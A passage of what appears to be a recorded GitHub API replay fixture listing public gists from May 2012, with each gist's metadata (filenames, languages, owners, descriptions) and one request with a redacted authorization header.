http://www.symfonycentral.com/securing-your-web-application-with-symfony.html","created_at":"2012-05-19T06:03:57Z","id":"2729525"},{"updated_at":"2012-05-19T06:02:51Z","url":"https://api.github.com/gists/2729522","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729522.git","git_push_url":"git@gist.github.com:2729522.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729522/4450e2adfe6449ce47f8b6557cb5cb6f3d350dfa/gistfile1.txt","size":284,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2729522","user":{"url":"https://api.github.com/users/SpiffyJr","gravatar_id":"a5408ecd6ed3688802ef096bbd002a80","login":"SpiffyJr","id":227900,"avatar_url":"https://secure.gravatar.com/avatar/a5408ecd6ed3688802ef096bbd002a80?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"","created_at":"2012-05-19T06:02:51Z","id":"2729522"},{"updated_at":"2012-05-19T06:02:30Z","url":"https://api.github.com/gists/2729519","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729519.git","git_push_url":"git@gist.github.com:2729519.git","files":{"arrange.sh":{"type":"application/sh","raw_url":"https://gist.github.com/raw/2729519/53ecb295721b9f6022d8abc92e7e69a5937c2fa5/arrange.sh","size":2523,"filename":"arrange.sh","language":"Shell"}},"html_url":"https://gist.github.com/2729519","user":{"url":"https://api.github.com/users/vinitcool76","gravatar_id":"0474e465f54e54cc1225d67dfd5d9be5","login":"vinitcool76","id":537678,"avatar_url":"https://secure.gravatar.com/avatar/0474e465f54e54cc1225d67dfd5d9be5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Its is a script to arrange a directory and copy the files to respective directories for easy access","created_at":"2012-05-19T06:02:30Z","id":"2729519"},{"updated_at":"2012-05-19T06:01:01Z","url":"https://api.github.com/gists/2729515","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729515.git","git_push_url":"git@gist.github.com:2729515.git","files":{"User.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2729515/6a7df1276bfa169e9d8fceb62462c73629423977/User.php","size":798,"filename":"User.php","language":"PHP"}},"html_url":"https://gist.github.com/2729515","user":{"url":"https://api.github.com/users/coreymcmahon","gravatar_id":"87ae7cb8e1dc49819787951a8a20be30","login":"coreymcmahon","id":700486,"avatar_url":"https://secure.gravatar.com/avatar/87ae7cb8e1dc49819787951a8a20be30?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Using a custom UserInterface for Symfony Security - http://www.symfonycentral.com/securing-your-web-application-with-symfony.html","created_at":"2012-05-19T06:01:01Z","id":"2729515"},{"updated_at":"2012-05-19T05:58:58Z","url":"https://api.github.com/gists/2729506","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729506.git","git_push_url":"git@gist.github.com:2729506.git","files":{"apod.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729506/883cff9ec3da597afb74a97ca8853450b5447d28/apod.py","size":1416,"filename":"apod.py","language":"Python"}},"html_url":"https://gist.github.com/2729506","user":{"url":"https://api.github.com/users/ranman","gravatar_id":"79c320d5af1feee21c58b8cb21692d38","login":"ranman","id":175163,"avatar_url":"https://secure.gravatar.com/avatar/79c320d5af1feee21c58b8cb21692d38?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"quick script to set twitter bg to astronomy pic of the day","created_at":"2012-05-19T05:58:58Z","id":"2729506"},{"updated_at":"2012-05-19T05:51:45Z","url":"https://api.github.com/gists/2729487","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729487.git","git_push_url":"git@gist.github.com:2729487.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729487/1605fe71f2e4ecc0d59fc2e9bf10aead6beca013/gistfile1.txt","size":1527,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2729487","user":{"url":"https://api.github.com/users/SpiffyJr","gravatar_id":"a5408ecd6ed3688802ef096bbd002a80","login":"SpiffyJr","id":227900,"avatar_url":"https://secure.gravatar.com/avatar/a5408ecd6ed3688802ef096bbd002a80?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"","created_at":"2012-05-19T05:51:45Z","id":"2729487"},{"updated_at":"2012-05-19T05:51:19Z","url":"https://api.github.com/gists/2729484","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729484.git","git_push_url":"git@gist.github.com:2729484.git","files":{"settings.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729484/4fd1c18563789afd2f5d717f12a8a12aefe7a326/settings.py","size":45,"filename":"settings.py","language":"Python"},"run_test.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729484/0bdce9ac4cc3fe37627cd9e815d697fec6be798d/run_test.py","size":2615,"filename":"run_test.py","language":"Python"}},"html_url":"https://gist.github.com/2729484","user":{"url":"https://api.github.com/users/cloverrose","gravatar_id":"ec72ff08579d5e16beb2c0f72a4f102a","login":"cloverrose","id":1592208,"avatar_url":"https://secure.gravatar.com/avatar/ec72ff08579d5e16beb2c0f72a4f102a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"[Django] [python manage.py test] Django組み込みのテストを拡張してtest.py以外のスクリプト(mytest.pyやawesome.py)内のdoctestも実行できるようにする","created_at":"2012-05-19T05:51:19Z","id":"2729484"},{"updated_at":"2012-05-19T05:50:59Z","url":"https://api.github.com/gists/2729482","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729482.git","git_push_url":"git@gist.github.com:2729482.git","files":{"client_for_polling.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2729482/8cb7069b38a59df94c36183e569191da3b869e3c/client_for_polling.rb","size":411,"filename":"client_for_polling.rb","language":"Ruby"},"mr.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2729482/65e890c4537520a80cbb888a63de2001b16cb5df/mr.rb","size":5977,"filename":"mr.rb","language":"Ruby"},"add.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2729482/98f293158173e8f18c120baa6e52297dad048002/add.rb","size":393,"filename":"add.rb","language":"Ruby"},"client.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2729482/25c160c411d296c9ad36da1168637201df898de9/client.rb","size":285,"filename":"client.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2729482","user":{"url":"https://api.github.com/users/authorNari","gravatar_id":"9f859654c118bcd2f67cc763baf0de7a","login":"authorNari","id":18746,"avatar_url":"https://secure.gravatar.com/avatar/9f859654c118bcd2f67cc763baf0de7a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"","created_at":"2012-05-19T05:50:59Z","id":"2729482"},{"updated_at":"2012-05-19T05:45:20Z","url":"https://api.github.com/gists/2729441","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729441.git","git_push_url":"git@gist.github.com:2729441.git","files":{"deploy.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2729441/bdbe656503a4c08bf6b0b2cce4ba900d90721ebf/deploy.rb","size":1508,"filename":"deploy.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2729441","user":{"url":"https://api.github.com/users/bazzel","gravatar_id":"b981c8763cd1027deaec5e3b39226dbe","login":"bazzel","id":7672,"avatar_url":"https://secure.gravatar.com/avatar/b981c8763cd1027deaec5e3b39226dbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Capistrano's deploy.rb with RVM multi user install","created_at":"2012-05-19T05:45:20Z","id":"2729441"},{"updated_at":"2012-05-19T05:44:02Z","url":"https://api.github.com/gists/2729432","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729432.git","git_push_url":"git@gist.github.com:2729432.git","files":{"gistfile1.aw":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729432/7b3bf3d6af7331affed2775b085ea4bbd3f9144a/gistfile1.aw","size":162,"filename":"gistfile1.aw","language":"PHP"}},"html_url":"https://gist.github.com/2729432","user":{"url":"https://api.github.com/users/mojaie","gravatar_id":"f0e1b23df65b364a41c375490aae711d","login":"mojaie","id":1174134,"avatar_url":"https://secure.gravatar.com/avatar/f0e1b23df65b364a41c375490aae711d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"CakePHP:test001_1","created_at":"2012-05-19T05:44:02Z","id":"2729432"},{"updated_at":"2012-05-19T05:41:01Z","url":"https://api.github.com/gists/2729420","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729420.git","git_push_url":"git@gist.github.com:2729420.git","files":{"gistfile1.haml":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729420/74278fa6d12e2b742100dc3af9528da2e7702974/gistfile1.haml","size":485,"filename":"gistfile1.haml","language":"Haml"}},"html_url":"https://gist.github.com/2729420","user":{"url":"https://api.github.com/users/L42y","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","login":"L42y","id":284820,"avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"","created_at":"2012-05-19T05:41:01Z","id":"2729420"},{"updated_at":"2012-05-19T05:34:48Z","url":"https://api.github.com/gists/2729398","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729398.git","git_push_url":"git@gist.github.com:2729398.git","files":{"gistfile1.aw":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729398/0b1125bd22482f8252893f7be45b0ea14f476565/gistfile1.aw","size":186,"filename":"gistfile1.aw","language":"PHP"}},"html_url":"https://gist.github.com/2729398","user":{"url":"https://api.github.com/users/mojaie","gravatar_id":"f0e1b23df65b364a41c375490aae711d","login":"mojaie","id":1174134,"avatar_url":"https://secure.gravatar.com/avatar/f0e1b23df65b364a41c375490aae711d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"CakePHP:test001_0","created_at":"2012-05-19T05:34:48Z","id":"2729398"},{"updated_at":"2012-05-19T05:32:58Z","url":"https://api.github.com/gists/2729372","comments":1,"public":true,"git_pull_url":"git://gist.github.com/2729372.git","git_push_url":"git@gist.github.com:2729372.git","files":{"successfully retrieves some messages even after usb.core.USBerror":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729372/0e5b736a43e6e9f86db32f72219ded00456bb71a/successfully retrieves some messages even after usb.core.USBerror","size":2235000,"filename":"successfully retrieves some messages even after usb.core.USBerror","language":null},"connection-problem":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729372/32b33c33226faa8d2404dfefc4e27325bb480d5e/connection-problem","size":92116,"filename":"connection-problem","language":null}},"html_url":"https://gist.github.com/2729372","user":{"url":"https://api.github.com/users/christofferholmstedt","gravatar_id":"0b6a259fb4a6967b401918912b44219b","login":"christofferholmstedt","id":65247,"avatar_url":"https://secure.gravatar.com/avatar/0b6a259fb4a6967b401918912b44219b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Error connecting to Garmin 610 with Garmin Forerunner 610 Extractor","created_at":"2012-05-19T05:32:58Z","id":"2729372"},{"updated_at":"2012-05-19T05:32:44Z","url":"https://api.github.com/gists/2729371","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729371.git","git_push_url":"git@gist.github.com:2729371.git","files":{"deploy.rake":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729371/f5630db1020e16c12ca2b0fa4c10dd8c6f0fad20/deploy.rake","size":3245,"filename":"deploy.rake","language":"Ruby"}},"html_url":"https://gist.github.com/2729371","user":{"url":"https://api.github.com/users/toooooooby","gravatar_id":"758ab2510156a6cf87a180b12ed94203","login":"toooooooby","id":20859,"avatar_url":"https://secure.gravatar.com/avatar/758ab2510156a6cf87a180b12ed94203?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Rakefile to deploy and rollback to Heroku in two different environments (staging and production) for the same app","created_at":"2012-05-19T05:32:44Z","id":"2729371"},{"updated_at":"2012-05-19T05:24:30Z","url":"https://api.github.com/gists/2729351","comments":4,"public":true,"git_pull_url":"git://gist.github.com/2729351.git","git_push_url":"git@gist.github.com:2729351.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729351/10eeb0eb89a99c107932bc5c82a972e359776e14/gistfile1.txt","size":676,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2729351","user":{"url":"https://api.github.com/users/ALRubinger","gravatar_id":"4369758fcee235bebd875f0de34aa42e","login":"ALRubinger","id":199891,"avatar_url":"https://secure.gravatar.com/avatar/4369758fcee235bebd875f0de34aa42e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"","created_at":"2012-05-19T05:24:30Z","id":"2729351"},{"updated_at":"2012-05-19T05:23:30Z","url":"https://api.github.com/gists/2729346","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729346.git","git_push_url":"git@gist.github.com:2729346.git","files":{"benchmark.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729346/c104341058b04e8df33bdc7c5caca0824fc9f140/benchmark.txt","size":137,"filename":"benchmark.txt","language":"Text"},"json2csv.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729346/65f9e62c6c63183acfd8f61198c6ce959062f5be/json2csv.py","size":526,"filename":"json2csv.py","language":"Python"}},"html_url":"https://gist.github.com/2729346","user":{"url":"https://api.github.com/users/joskid","gravatar_id":"74231318b03600599b999e675a5c31b4","login":"joskid","id":644086,"avatar_url":"https://secure.gravatar.com/avatar/74231318b03600599b999e675a5c31b4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"JSON to CSV conversion benchmarking","created_at":"2012-05-19T05:23:30Z","id":"2729346"},{"updated_at":"2012-05-19T05:19:03Z","url":"https://api.github.com/gists/2729316","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729316.git","git_push_url":"git@gist.github.com:2729316.git","files":{"make_anchor_by_week_day.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2729316/fa0d97d1f1a115ad2067733538a8b48ddf934a24/make_anchor_by_week_day.html","size":995,"filename":"make_anchor_by_week_day.html","language":"HTML"}},"html_url":"https://gist.github.com/2729316","user":{"url":"https://api.github.com/users/gDD","gravatar_id":"6ef3531050f0e384b8707b4a5f943cbf","login":"gDD","id":113737,"avatar_url":"https://secure.gravatar.com/avatar/6ef3531050f0e384b8707b4a5f943cbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"make anchor by week day","created_at":"2012-05-19T05:19:03Z","id":"2729316"},{"updated_at":"2012-05-19T05:17:20Z","url":"https://api.github.com/gists/2729304","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729304.git","git_push_url":"git@gist.github.com:2729304.git","files":{"KeychainItemWrapper.h":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729304/088c905c4c3d21d34a4608d589131f4c29d169ee/KeychainItemWrapper.h","size":3121,"filename":"KeychainItemWrapper.h","language":"Objective-C"},"KeychainItemWrapper.m":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729304/abf5850d5a0fd78cdbc16d6a431090043457d1f5/KeychainItemWrapper.m","size":14268,"filename":"KeychainItemWrapper.m","language":"Objective-C"}},"html_url":"https://gist.github.com/2729304","user":{"url":"https://api.github.com/users/ruiwen","gravatar_id":"fd7f8247e1c26ba99e7bad148a985510","login":"ruiwen","id":307558,"avatar_url":"https://secure.gravatar.com/avatar/fd7f8247e1c26ba99e7bad148a985510?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"KeychainItemWrapper ARCified - saves NSString, NSArray, NSDictionary","created_at":"2012-05-19T05:13:32Z","id":"2729304"},{"updated_at":"2012-05-19T05:11:04Z","url":"https://api.github.com/gists/2729296","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729296.git","git_push_url":"git@gist.github.com:2729296.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729296/cb5fe306a1159c207fadf865b539f5490876b484/gistfile1.txt","size":1546,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2729296","user":{"url":"https://api.github.com/users/nas","gravatar_id":"170b5dc385cc9ddf78ed01bcf1e6990a","login":"nas","id":42499,"avatar_url":"https://secure.gravatar.com/avatar/170b5dc385cc9ddf78ed01bcf1e6990a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"local conf / settings","created_at":"2012-05-19T05:11:04Z","id":"2729296"},{"updated_at":"2012-05-19T05:03:08Z","url":"https://api.github.com/gists/2729276","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729276.git","git_push_url":"git@gist.github.com:2729276.git","files":{"primes.clj":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729276/86f31b33fa4a3c33e784d8525a7513a7f2256c0e/primes.clj","size":138,"filename":"primes.clj","language":"Clojure"}},"html_url":"https://gist.github.com/2729276","user":{"url":"https://api.github.com/users/fumokmm","gravatar_id":"8c018bba93f271f288230310e8e13f98","login":"fumokmm","id":64939,"avatar_url":"https://secure.gravatar.com/avatar/8c018bba93f271f288230310e8e13f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"エラトステネスの篩を使ってClojureで素数を求める","created_at":"2012-05-19T05:03:08Z","id":"2729276"}] https GET api.github.com None /gists/public?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('content-length', '29882'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"57b2419f70e39497696624710da528ad"'), ('date', 'Sat, 19 May 2012 06:25:51 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-19T05:00:00Z","url":"https://api.github.com/gists/2729272","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729272.git","files":{"133767.user.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2729272/3e4614c88500d33ba459a5fd3b028c5536acd036/133767.user.js","size":381,"filename":"133767.user.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2729272","git_push_url":"git@gist.github.com:2729272.git","user":{"url":"https://api.github.com/users/ngs","gravatar_id":"53bc8fa21f71dd8e63f3c94275c56191","login":"ngs","avatar_url":"https://secure.gravatar.com/avatar/53bc8fa21f71dd8e63f3c94275c56191?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":18631},"description":"MONOCO Remove Private Overlay","created_at":"2012-05-19T05:00:00Z","id":"2729272"},{"updated_at":"2012-05-19T04:57:29Z","url":"https://api.github.com/gists/2729265","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729265.git","files":{"bubblechart.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2729265/69d1ddceb6f570d6efdaeaacdab21a8d325347ce/bubblechart.html","size":5539,"filename":"bubblechart.html","language":"HTML"}},"html_url":"https://gist.github.com/2729265","git_push_url":"git@gist.github.com:2729265.git","user":{"url":"https://api.github.com/users/tripp","gravatar_id":"5eb68b5c2390328fe30a0ab466cab353","login":"tripp","avatar_url":"https://secure.gravatar.com/avatar/5eb68b5c2390328fe30a0ab466cab353?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":63965},"description":"bubblechart.html","created_at":"2012-05-19T04:57:29Z","id":"2729265"},{"updated_at":"2012-05-19T04:48:17Z","url":"https://api.github.com/gists/2729195","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729195.git","files":{"checkout_previous_branch.sh":{"type":"application/sh","raw_url":"https://gist.github.com/raw/2729195/5e08f89c329ae52f44dd26f5ad4810ba85a77ff1/checkout_previous_branch.sh","size":427,"filename":"checkout_previous_branch.sh","language":"Shell"},"post-checkout.sh":{"type":"application/sh","raw_url":"https://gist.github.com/raw/2729195/fe2024f381942d093095434fc4d1d138438a0cc1/post-checkout.sh","size":1134,"filename":"post-checkout.sh","language":"Shell"}},"html_url":"https://gist.github.com/2729195","git_push_url":"git@gist.github.com:2729195.git","user":{"url":"https://api.github.com/users/wearhere","gravatar_id":"aaf143fc290a92af46e03ab7b62a8340","login":"wearhere","avatar_url":"https://secure.gravatar.com/avatar/aaf143fc290a92af46e03ab7b62a8340?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":110000},"description":"Checkout previous Git branch","created_at":"2012-05-19T04:48:17Z","id":"2729195"},{"updated_at":"2012-05-19T05:08:17Z","url":"https://api.github.com/gists/2729160","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729160.git","files":{"nginx.conf":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729160/fd7cece078340af6fad9f74d2d1a304e3bdd8994/nginx.conf","size":799,"filename":"nginx.conf","language":null}},"html_url":"https://gist.github.com/2729160","git_push_url":"git@gist.github.com:2729160.git","user":{"url":"https://api.github.com/users/seancoyne","gravatar_id":"8eadc3a23ced47e478851bdd282c771a","login":"seancoyne","avatar_url":"https://secure.gravatar.com/avatar/8eadc3a23ced47e478851bdd282c771a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":510437},"description":"nginx connector for cfml on tomcat","created_at":"2012-05-19T04:41:00Z","id":"2729160"},{"updated_at":"2012-05-19T04:33:03Z","url":"https://api.github.com/gists/2729143","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729143.git","files":{"MetadataClass":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729143/daa879532897ae5fe4e7102de9ebcb1fe6b4a666/MetadataClass","size":916,"filename":"MetadataClass","language":null}},"html_url":"https://gist.github.com/2729143","git_push_url":"git@gist.github.com:2729143.git","user":{"url":"https://api.github.com/users/chentepixtol","gravatar_id":"9b0650e1f3afe1a8c927f735e1250ec1","login":"chentepixtol","avatar_url":"https://secure.gravatar.com/avatar/9b0650e1f3afe1a8c927f735e1250ec1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":178278},"description":"Metadata prototype","created_at":"2012-05-19T04:33:03Z","id":"2729143"},{"updated_at":"2012-05-19T04:33:02Z","url":"https://api.github.com/gists/2729127","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729127.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2729127/f1944a22e4ca513fa71008093546717e0cc18b86/dabblet.css","size":482,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2729127/e7716d5202cfe5ebb22df182e7c5b4dde5a86078/dabblet.html","size":95,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2729127/f9b473b3380e302ad0c707460c59a541870e0d3b/settings.json","size":79,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2729127","git_push_url":"git@gist.github.com:2729127.git","user":{"url":"https://api.github.com/users/lucasmazza","gravatar_id":"450908b4010abbbf9eebc146ed4c0246","login":"lucasmazza","avatar_url":"https://secure.gravatar.com/avatar/450908b4010abbbf9eebc146ed4c0246?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":80978},"description":"Classic `position` exercise.","created_at":"2012-05-19T04:32:09Z","id":"2729127"},{"updated_at":"2012-05-19T04:31:48Z","url":"https://api.github.com/gists/2729119","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729119.git","files":{"settings.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729119/4fd1c18563789afd2f5d717f12a8a12aefe7a326/settings.py","size":45,"filename":"settings.py","language":"Python"},"run_test_error.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729119/02735b2b827ac1ace246be9d343491928ae47f6c/run_test_error.py","size":2429,"filename":"run_test_error.py","language":"Python"}},"html_url":"https://gist.github.com/2729119","git_push_url":"git@gist.github.com:2729119.git","user":{"url":"https://api.github.com/users/cloverrose","gravatar_id":"ec72ff08579d5e16beb2c0f72a4f102a","login":"cloverrose","avatar_url":"https://secure.gravatar.com/avatar/ec72ff08579d5e16beb2c0f72a4f102a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1592208},"description":"[Django] [python manage.py test] this is error program!! Django組み込みのテストを拡張してtest.py以外のスクリプト(mytest.pyやawesome.py)内のdoctestも実行できるようにする","created_at":"2012-05-19T04:31:48Z","id":"2729119"},{"updated_at":"2012-05-19T04:30:59Z","url":"https://api.github.com/gists/2729113","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729113.git","files":{"foo.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2729113/7e28791d2774289e3c251a757b08ef37828c64d6/foo.js","size":305,"filename":"foo.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2729113","git_push_url":"git@gist.github.com:2729113.git","user":{"url":"https://api.github.com/users/kaneshin","gravatar_id":"a75c909334d4dc6c7dca7bd915eebdbf","login":"kaneshin","avatar_url":"https://secure.gravatar.com/avatar/a75c909334d4dc6c7dca7bd915eebdbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":936972},"description":"","created_at":"2012-05-19T04:30:59Z","id":"2729113"},{"updated_at":"2012-05-19T04:27:51Z","url":"https://api.github.com/gists/2729103","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729103.git","files":{"RunScalaTest.scala":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729103/ed1310675c4947d096c8803e89c6a61718ee57ee/RunScalaTest.scala","size":654,"filename":"RunScalaTest.scala","language":"Scala"}},"html_url":"https://gist.github.com/2729103","git_push_url":"git@gist.github.com:2729103.git","user":{"url":"https://api.github.com/users/takezoe","gravatar_id":"0b557808a458232e7aea69907ca1dd84","login":"takezoe","avatar_url":"https://secure.gravatar.com/avatar/0b557808a458232e7aea69907ca1dd84?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1094760},"description":"An example which runs ScalaTest by program","created_at":"2012-05-19T04:27:51Z","id":"2729103"},{"updated_at":"2012-05-19T04:21:50Z","url":"https://api.github.com/gists/2729069","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729069.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729069/291681e54dfcef17254e20342c14d32745b53b79/gistfile1.txt","size":241,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2729069","git_push_url":"git@gist.github.com:2729069.git","user":{"url":"https://api.github.com/users/JesseObrien","gravatar_id":"ebf726797ad5f82f68c6532bde0c86d9","login":"JesseObrien","avatar_url":"https://secure.gravatar.com/avatar/ebf726797ad5f82f68c6532bde0c86d9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":865481},"description":"One-liner to install sublime on linux","created_at":"2012-05-19T04:21:50Z","id":"2729069"},{"updated_at":"2012-05-19T04:15:12Z","url":"https://api.github.com/gists/2729059","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729059.git","files":{"monitor_exec.pp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729059/6d778a12e481ae671cd1c2fa6807068b12a4ea06/monitor_exec.pp","size":320,"filename":"monitor_exec.pp","language":"Puppet"}},"html_url":"https://gist.github.com/2729059","git_push_url":"git@gist.github.com:2729059.git","user":{"url":"https://api.github.com/users/marut","gravatar_id":"ad8d48f0ff4016182e9a1a91e681fecc","login":"marut","avatar_url":"https://secure.gravatar.com/avatar/ad8d48f0ff4016182e9a1a91e681fecc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":100142},"description":"Trigger an exec upon changes to a semi-managed file","created_at":"2012-05-19T04:15:12Z","id":"2729059"},{"updated_at":"2012-05-19T04:14:01Z","url":"https://api.github.com/gists/2729051","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729051.git","files":{"index.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2729051/092eb59cb04f9c733fddda5225819bb9281aa47a/index.html","size":2050,"filename":"index.html","language":"HTML"},"hover.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2729051/1bb2b2ea5660cf9369741a49fa2ebddc281bf061/hover.js","size":312,"filename":"hover.js","language":"JavaScript"},"estilo.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2729051/c4a4fd16beab280dacc6e290a620aea6d5da0112/estilo.css","size":1111,"filename":"estilo.css","language":"CSS"}},"html_url":"https://gist.github.com/2729051","git_push_url":"git@gist.github.com:2729051.git","user":{"url":"https://api.github.com/users/fidelisrafael","gravatar_id":"44613931f6ec23e39a95e3319a44f320","login":"fidelisrafael","avatar_url":"https://secure.gravatar.com/avatar/44613931f6ec23e39a95e3319a44f320?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1542608},"description":"","created_at":"2012-05-19T04:14:01Z","id